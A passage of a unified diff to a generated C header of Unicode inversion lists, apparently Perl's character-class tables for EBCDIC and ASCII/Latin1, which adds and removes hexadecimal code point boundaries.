+	0x2030,
+	0x203F,
+	0x2041,
+	0x2044,
+	0x2045,
+	0x2054,
+	0x2055,
+	0x2060,
 	0x2065,
 	0x2066,
+	0x2070,
+	0x2071,
 	0x2072,
-	0x2074,
-	0x208F,
+	0x207F,
+	0x2080,
 	0x2090,
 	0x209D,
-	0x20A0,
-	0x20BF,
 	0x20D0,
 	0x20F1,
-	0x2100,
-	0x218C,
-	0x2190,
-	0x23FF,
-	0x2400,
-	0x2427,
-	0x2440,
-	0x244B,
-	0x2460,
-	0x2B74,
-	0x2B76,
-	0x2B96,
-	0x2B98,
-	0x2BBA,
-	0x2BBD,
-	0x2BC9,
-	0x2BCA,
-	0x2BD2,
-	0x2BEC,
-	0x2BF0,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x24B6,
+	0x24EA,
+	0x261D,
+	0x261E,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2695,
+	0x2697,
+	0x26F9,
+	0x26FA,
+	0x2708,
+	0x2709,
+	0x270A,
+	0x270E,
+	0x2764,
+	0x2765,
 	0x2C00,
 	0x2C2F,
 	0x2C30,
 	0x2C5F,
 	0x2C60,
+	0x2CE5,
+	0x2CEB,
 	0x2CF4,
-	0x2CF9,
+	0x2D00,
 	0x2D26,
 	0x2D27,
 	0x2D28,
@@ -91438,7 +361014,7 @@
 	0x2D30,
 	0x2D68,
 	0x2D6F,
-	0x2D71,
+	0x2D70,
 	0x2D7F,
 	0x2D97,
 	0x2DA0,
@@ -91458,71 +361034,81 @@
 	0x2DD8,
 	0x2DDF,
 	0x2DE0,
-	0x2E45,
-	0x2E80,
-	0x2E9A,
-	0x2E9B,
-	0x2EF4,
-	0x2F00,
-	0x2FD6,
-	0x2FF0,
-	0x2FFC,
-	0x3000,
-	0x3040,
-	0x3041,
-	0x3097,
+	0x2E00,
+	0x2E2F,
+	0x2E30,
+	0x3005,
+	0x3006,
+	0x302A,
+	0x3030,
+	0x3031,
+	0x3036,
+	0x303B,
+	0x303D,
 	0x3099,
+	0x309D,
+	0x30A0,
+	0x30FB,
+	0x30FC,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
-	0x3190,
+	0x31A0,
 	0x31BB,
-	0x31C0,
-	0x31E4,
 	0x31F0,
-	0x321F,
-	0x3220,
+	0x3200,
+	0x32D0,
 	0x32FF,
 	0x3300,
-	0x4DB6,
-	0x4DC0,
-	0x9FD6,
+	0x3358,
 	0xA000,
 	0xA48D,
-	0xA490,
-	0xA4C7,
 	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
 	0xA62C,
 	0xA640,
-	0xA6F8,
-	0xA700,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA6F2,
+	0xA717,
 	0xA7AF,
 	0xA7B0,
 	0xA7B8,
 	0xA7F7,
-	0xA82C,
-	0xA830,
-	0xA83A,
+	0xA828,
 	0xA840,
-	0xA878,
+	0xA874,
 	0xA880,
 	0xA8C6,
-	0xA8CE,
+	0xA8D0,
 	0xA8DA,
 	0xA8E0,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
 	0xA8FE,
 	0xA900,
+	0xA92E,
+	0xA930,
 	0xA954,
-	0xA95F,
+	0xA960,
 	0xA97D,
 	0xA980,
-	0xA9CE,
+	0xA9C1,
 	0xA9CF,
 	0xA9DA,
-	0xA9DE,
-	0xA9FF,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
 	0xAA00,
 	0xAA37,
 	0xAA40,
@@ -91529,9 +361115,21 @@
 	0xAA4E,
 	0xAA50,
 	0xAA5A,
-	0xAA5C,
-	0xAAC3,
-	0xAADB,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
 	0xAAF7,
 	0xAB01,
 	0xAB07,
@@ -91546,6 +361144,8 @@
 	0xAB30,
 	0xAB66,
 	0xAB70,
+	0xABEB,
+	0xABEC,
 	0xABEE,
 	0xABF0,
 	0xABFA,
@@ -91555,15 +361155,13 @@
 	0xD7C7,
 	0xD7CB,
 	0xD7FC,
-	0xE000,
-	0xFA6E,
-	0xFA70,
-	0xFADA,
 	0xFB00,
 	0xFB07,
 	0xFB13,
 	0xFB18,
 	0xFB1D,
+	0xFB29,
+	0xFB2A,
 	0xFB37,
 	0xFB38,
 	0xFB3D,
@@ -91574,23 +361172,29 @@
 	0xFB43,
 	0xFB45,
 	0xFB46,
-	0xFBC2,
+	0xFBB2,
 	0xFBD3,
-	0xFD40,
+	0xFD3E,
 	0xFD50,
 	0xFD90,
 	0xFD92,
 	0xFDC8,
 	0xFDF0,
-	0xFDFE,
+	0xFDFC,
 	0xFE00,
-	0xFE1A,
+	0xFE11,
+	0xFE13,
+	0xFE15,
 	0xFE20,
+	0xFE30,
+	0xFE33,
+	0xFE35,
+	0xFE4D,
+	0xFE51,
+	0xFE52,
 	0xFE53,
 	0xFE54,
-	0xFE67,
-	0xFE68,
-	0xFE6C,
+	0xFE56,
 	0xFE70,
 	0xFE75,
 	0xFE76,
@@ -91597,7 +361201,21 @@
 	0xFEFD,
 	0xFEFF,
 	0xFF00,
-	0xFF01,
+	0xFF07,
+	0xFF08,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E,
+	0xFF0F,
+	0xFF1A,
+	0xFF1C,
+	0xFF21,
+	0xFF3B,
+	0xFF3F,
+	0xFF40,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
 	0xFFBF,
 	0xFFC2,
 	0xFFC8,
@@ -91607,12 +361225,8 @@
 	0xFFD8,
 	0xFFDA,
 	0xFFDD,
-	0xFFE0,
-	0xFFE7,
-	0xFFE8,
-	0xFFEF,
 	0xFFF9,
-	0xFFFE,
+	0xFFFC,
 	0x10000,
 	0x1000C,
 	0x1000D,
@@ -91627,17 +361241,9 @@
 	0x1005E,
 	0x10080,
 	0x100FB,
-	0x10100,
-	0x10103,
-	0x10107,
-	0x10134,
-	0x10137,
-	0x1018F,
-	0x10190,
-	0x1019C,
-	0x101A0,
-	0x101A1,
-	0x101D0,
+	0x10140,
+	0x10175,
+	0x101FD,
 	0x101FE,
 	0x10280,
 	0x1029D,
@@ -91644,18 +361250,20 @@
 	0x102A0,
 	0x102D1,
 	0x102E0,
-	0x102FC,
+	0x102E1,
 	0x10300,
-	0x10324,
-	0x10330,
+	0x10320,
+	0x1032D,
 	0x1034B,
 	0x10350,
 	0x1037B,
 	0x10380,
 	0x1039E,
-	0x1039F,
+	0x103A0,
 	0x103C4,
 	0x103C8,
+	0x103D0,
+	0x103D1,
 	0x103D6,
 	0x10400,
 	0x1049E,
@@ -91669,8 +361277,6 @@
 	0x10528,
 	0x10530,
 	0x10564,
-	0x1056F,
-	0x10570,
 	0x10600,
 	0x10737,
 	0x10740,
@@ -91689,25 +361295,23 @@
 	0x1083D,
 	0x1083F,
 	0x10856,
-	0x10857,
+	0x10860,
+	0x10877,
+	0x10880,
 	0x1089F,
-	0x108A7,
-	0x108B0,
 	0x108E0,
 	0x108F3,
 	0x108F4,
 	0x108F6,
-	0x108FB,
-	0x1091C,
-	0x1091F,
+	0x10900,
+	0x10916,
+	0x10920,
 	0x1093A,
-	0x1093F,
-	0x10940,
 	0x10980,
 	0x109B8,
-	0x109BC,
-	0x109D0,
-	0x109D2,
+	0x109BE,
+	0x109C0,
+	0x10A00,
 	0x10A04,
 	0x10A05,
 	0x10A07,
@@ -91720,27 +361324,23 @@
 	0x10A38,
 	0x10A3B,
 	0x10A3F,
-	0x10A48,
-	0x10A50,
-	0x10A59,
+	0x10A40,
 	0x10A60,
-	0x10AA0,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
 	0x10AC0,
+	0x10AC8,
+	0x10AC9,
 	0x10AE7,
-	0x10AEB,
-	0x10AF7,
 	0x10B00,
 	0x10B36,
-	0x10B39,
+	0x10B40,
 	0x10B56,
-	0x10B58,
+	0x10B60,
 	0x10B73,
-	0x10B78,
+	0x10B80,
 	0x10B92,
-	0x10B99,
-	0x10B9D,
-	0x10BA9,
-	0x10BB0,
 	0x10C00,
 	0x10C49,
 	0x10C80,
@@ -91747,16 +361347,14 @@
 	0x10CB3,
 	0x10CC0,
 	0x10CF3,
-	0x10CFA,
-	0x10D00,
-	0x10E60,
-	0x10E7F,
 	0x11000,
-	0x1104E,
-	0x11052,
+	0x11047,
+	0x11066,
 	0x11070,
 	0x1107F,
-	0x110C2,
+	0x110BB,
+	0x110BD,
+	0x110BE,
 	0x110D0,
 	0x110E9,
 	0x110F0,
@@ -91764,18 +361362,24 @@
 	0x11100,
 	0x11135,
 	0x11136,
-	0x11144,
+	0x11140,
 	0x11150,
+	0x11174,
+	0x11176,
 	0x11177,
 	0x11180,
-	0x111CE,
+	0x111C5,
+	0x111CA,
+	0x111CD,
 	0x111D0,
-	0x111E0,
-	0x111E1,
-	0x111F5,
+	0x111DB,
+	0x111DC,
+	0x111DD,
 	0x11200,
 	0x11212,
 	0x11213,
+	0x11238,
+	0x1123E,
 	0x1123F,
 	0x11280,
 	0x11287,
@@ -91786,7 +361390,7 @@
 	0x1128F,
 	0x1129E,
 	0x1129F,
-	0x112AA,
+	0x112A9,
 	0x112B0,
 	0x112EB,
 	0x112F0,
@@ -91822,12 +361426,12 @@
 	0x11370,
 	0x11375,
 	0x11400,
+	0x1144B,
+	0x11450,
 	0x1145A,
-	0x1145B,
-	0x1145C,
-	0x1145D,
-	0x1145E,
 	0x11480,
+	0x114C6,
+	0x114C7,
 	0x114C8,
 	0x114D0,
 	0x114DA,
@@ -91834,27 +361438,35 @@
 	0x11580,
 	0x115B6,
 	0x115B8,
+	0x115C1,
+	0x115D8,
 	0x115DE,
 	0x11600,
+	0x11641,
+	0x11644,
 	0x11645,
 	0x11650,
 	0x1165A,
-	0x11660,
-	0x1166D,
 	0x11680,
 	0x116B8,
 	0x116C0,
 	0x116CA,
-	0x11700,
-	0x1171A,
 	0x1171D,
 	0x1172C,
 	0x11730,
-	0x11740,
+	0x1173A,
 	0x118A0,
-	0x118F3,
+	0x118EA,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
@@ -91862,21 +361474,33 @@
 	0x11C0A,
 	0x11C37,
 	0x11C38,
-	0x11C46,
+	0x11C41,
 	0x11C50,
-	0x11C6D,
-	0x11C70,
+	0x11C5A,
+	0x11C72,
 	0x11C90,
 	0x11C92,
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
 	0x12000,
 	0x1239A,
 	0x12400,
 	0x1246F,
-	0x12470,
-	0x12475,
 	0x12480,
 	0x12544,
 	0x13000,
@@ -91889,18 +361513,16 @@
 	0x16A5F,
 	0x16A60,
 	0x16A6A,
-	0x16A6E,
-	0x16A70,
 	0x16AD0,
 	0x16AEE,
 	0x16AF0,
-	0x16AF6,
+	0x16AF5,
 	0x16B00,
-	0x16B46,
+	0x16B37,
+	0x16B40,
+	0x16B44,
 	0x16B50,
 	0x16B5A,
-	0x16B5B,
-	0x16B62,
 	0x16B63,
 	0x16B78,
 	0x16B7D,
@@ -91912,13 +361534,9 @@
 	0x16F8F,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
-	0x17000,
-	0x187ED,
-	0x18800,
-	0x18AF3,
+	0x16FE2,
 	0x1B000,
-	0x1B002,
+	0x1B001,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -91927,20 +361545,20 @@
 	0x1BC89,
 	0x1BC90,
 	0x1BC9A,
-	0x1BC9C,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
 	0x1BCA4,
-	0x1D000,
-	0x1D0F6,
-	0x1D100,
-	0x1D127,
-	0x1D129,
-	0x1D1E9,
-	0x1D200,
-	0x1D246,
-	0x1D300,
-	0x1D357,
-	0x1D360,
-	0x1D372,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
 	0x1D400,
 	0x1D455,
 	0x1D456,
@@ -91980,9 +361598,37 @@
 	0x1D552,
 	0x1D6A6,
 	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
 	0x1D7CC,
 	0x1D7CE,
-	0x1DA8C,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
 	0x1DA9B,
 	0x1DAA0,
 	0x1DAA1,
@@ -91999,14 +361645,12 @@
 	0x1E02B,
 	0x1E800,
 	0x1E8C5,
-	0x1E8C7,
+	0x1E8D0,
 	0x1E8D7,
 	0x1E900,
 	0x1E94B,
 	0x1E950,
 	0x1E95A,
-	0x1E95E,
-	0x1E960,
 	0x1EE00,
 	0x1EE04,
 	0x1EE05,
@@ -92073,138 +361717,181 @@
 	0x1EEAA,
 	0x1EEAB,
 	0x1EEBC,
-	0x1EEF0,
-	0x1EEF2,
-	0x1F000,
-	0x1F02C,
-	0x1F030,
-	0x1F094,
-	0x1F0A0,
-	0x1F0AF,
-	0x1F0B1,
-	0x1F0C0,
-	0x1F0C1,
-	0x1F0D0,
-	0x1F0D1,
-	0x1F0F6,
-	0x1F100,
-	0x1F10D,
-	0x1F110,
-	0x1F12F,
 	0x1F130,
-	0x1F16C,
+	0x1F14A,
+	0x1F150,
+	0x1F16A,
 	0x1F170,
-	0x1F1AD,
+	0x1F18A,
 	0x1F1E6,
-	0x1F203,
-	0x1F210,
-	0x1F23C,
-	0x1F240,
-	0x1F249,
-	0x1F250,
-	0x1F252,
-	0x1F300,
-	0x1F6D3,
-	0x1F6E0,
-	0x1F6ED,
-	0x1F6F0,
-	0x1F6F7,
-	0x1F700,
-	0x1F774,
-	0x1F780,
-	0x1F7D5,
-	0x1F800,
-	0x1F80C,
-	0x1F810,
-	0x1F848,
-	0x1F850,
-	0x1F85A,
-	0x1F860,
-	0x1F888,
-	0x1F890,
-	0x1F8AE,
-	0x1F910,
-	0x1F91F,
+	0x1F200,
+	0x1F308,
+	0x1F309,
+	0x1F33E,
+	0x1F33F,
+	0x1F373,
+	0x1F374,
+	0x1F385,
+	0x1F386,
+	0x1F393,
+	0x1F394,
+	0x1F3A4,
+	0x1F3A5,
+	0x1F3A8,
+	0x1F3A9,
+	0x1F3C2,
+	0x1F3C5,
+	0x1F3C7,
+	0x1F3C8,
+	0x1F3CA,
+	0x1F3CD,
+	0x1F3EB,
+	0x1F3EC,
+	0x1F3ED,
+	0x1F3EE,
+	0x1F3FB,
+	0x1F400,
+	0x1F442,
+	0x1F444,
+	0x1F446,
+	0x1F451,
+	0x1F466,
+	0x1F46A,
+	0x1F46E,
+	0x1F46F,
+	0x1F470,
+	0x1F479,
+	0x1F47C,
+	0x1F47D,
+	0x1F481,
+	0x1F484,
+	0x1F485,
+	0x1F488,
+	0x1F48B,
+	0x1F48C,
+	0x1F4AA,
+	0x1F4AB,
+	0x1F4BB,
+	0x1F4BD,
+	0x1F527,
+	0x1F528,
+	0x1F52C,
+	0x1F52D,
+	0x1F574,
+	0x1F576,
+	0x1F57A,
+	0x1F57B,
+	0x1F590,
+	0x1F591,
+	0x1F595,
+	0x1F597,
+	0x1F5E8,
+	0x1F5E9,
+	0x1F645,
+	0x1F648,
+	0x1F64B,
+	0x1F650,
+	0x1F680,
+	0x1F681,
+	0x1F692,
+	0x1F693,
+	0x1F6A3,
+	0x1F6A4,
+	0x1F6B4,
+	0x1F6B7,
+	0x1F6C0,
+	0x1F6C1,
+	0x1F6CC,
+	0x1F6CD,
+	0x1F918,
+	0x1F91D,
+	0x1F91E,
 	0x1F920,
-	0x1F928,
+	0x1F926,
+	0x1F927,
 	0x1F930,
-	0x1F931,
-	0x1F933,
+	0x1F93A,
+	0x1F93D,
 	0x1F93F,
-	0x1F940,
-	0x1F94C,
-	0x1F950,
-	0x1F95F,
-	0x1F980,
-	0x1F992,
-	0x1F9C0,
-	0x1F9C1,
-	0x20000,
-	0x2A6D7,
-	0x2A700,
-	0x2B735,
-	0x2B740,
-	0x2B81E,
-	0x2B820,
-	0x2CEA2,
-	0x2F800,
-	0x2FA1E,
+	0x1F9D1,
+	0x1F9DE,
 	0xE0001,
 	0xE0002,
 	0xE0020,
 	0xE0080,
 	0xE0100,
-	0xE01F0,
-	0xF0000,
-	0xFFFFE,
-	0x100000,
-	0x10FFFE
+	0xE01F0
 };
 
-static const UV XPosixPunct_invlist[] = { /* for EBCDIC 037 */
-	337,	/* Number of elements */
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */
+	1393,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x4B,
-	0x51,
-	0x5A,
+	0x30,
+	0x3A,
+	0x41,
+	0x5B,
 	0x5F,
 	0x60,
-	0x62,
-	0x6B,
-	0x70,
-	0x79,
-	0x80,
-	0x8A,
-	0x8C,
-	0xA1,
-	0xA2,
+	0x61,
+	0x7B,
 	0xAA,
-	0xAC,
-	0xB0,
-	0xB1,
-	0xB3,
-	0xB4,
+	0xAB,
 	0xB5,
+	0xB6,
 	0xB7,
+	0xB8,
 	0xBA,
-	0xBC,
+	0xBB,
 	0xC0,
-	0xC1,
-	0xD0,
-	0xD1,
-	0xE0,
-	0xE1,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x300,
+	0x375,
+	0x376,
+	0x378,
+	0x37B,
 	0x37E,
 	0x37F,
-	0x387,
-	0x388,
+	0x380,
+	0x386,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x483,
+	0x488,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
 	0x55A,
-	0x560,
-	0x589,
-	0x58B,
+	0x561,
+	0x588,
+	0x591,
 	0x5BE,
 	0x5BF,
 	0x5C0,
@@ -92213,892 +361900,1798 @@
 	0x5C4,
 	0x5C6,
 	0x5C7,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
 	0x5F3,
-	0x5F5,
-	0x609,
-	0x60B,
-	0x60C,
-	0x60E,
+	0x610,
 	0x61B,
-	0x61C,
-	0x61E,
 	0x620,
 	0x66A,
 	0x66E,
 	0x6D4,
 	0x6D5,
+	0x6DD,
+	0x6DF,
+	0x6E9,
+	0x6EA,
+	0x6FD,
+	0x6FF,
 	0x700,
-	0x70E,
-	0x7F7,
+	0x710,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7F6,
 	0x7FA,
-	0x830,
-	0x83F,
-	0x85E,
-	0x85F,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x840,
+	0x85C,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E2,
+	0x8E3,
 	0x964,
 	0x966,
 	0x970,
 	0x971,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
 	0xAF0,
-	0xAF1,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB70,
+	0xB71,
+	0xB72,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBF0,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC80,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4F,
+	0xD54,
+	0xD58,
+	0xD5F,
+	0xD64,
+	0xD66,
+	0xD70,
+	0xD7A,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
 	0xDF4,
-	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE40,
 	0xE4F,
 	0xE50,
 	0xE5A,
-	0xE5C,
-	0xF04,
-	0xF13,
-	0xF14,
-	0xF15,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF2A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
 	0xF3A,
 	0xF3E,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
 	0xF85,
 	0xF86,
-	0xFD0,
-	0xFD5,
-	0xFD9,
-	0xFDB,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x1000,
 	0x104A,
 	0x1050,
+	0x109E,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
 	0x10FB,
 	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
 	0x1360,
 	0x1369,
-	0x1400,
+	0x1372,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
 	0x1401,
 	0x166D,
 	0x166F,
+	0x1680,
+	0x1681,
 	0x169B,
-	0x169D,
+	0x16A0,
 	0x16EB,
 	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
 	0x1735,
-	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
 	0x17D4,
 	0x17D7,
 	0x17D8,
-	0x17DB,
-	0x1800,
+	0x17DC,
+	0x17DE,
+	0x17E0,
+	0x17EA,
 	0x180B,
-	0x1944,
+	0x180E,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
 	0x1946,
-	0x1A1E,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x1A00,
+	0x1A1C,
 	0x1A20,
-	0x1AA0,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
 	0x1AA7,
 	0x1AA8,
-	0x1AAE,
+	0x1AB0,
+	0x1ABE,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
 	0x1B5A,
-	0x1B61,
-	0x1BFC,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1BF4,
 	0x1C00,
-	0x1C3B,
+	0x1C38,
 	0x1C40,
+	0x1C4A,
+	0x1C4D,
 	0x1C7E,
 	0x1C80,
-	0x1CC0,
-	0x1CC8,
+	0x1C89,
+	0x1CD0,
 	0x1CD3,
 	0x1CD4,
-	0x2010,
-	0x2028,
-	0x2030,
-	0x2044,
-	0x2045,
-	0x2052,
-	0x2053,
-	0x205F,
-	0x207D,
+	0x1CFA,
+	0x1D00,
+	0x1DFA,
+	0x1DFB,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
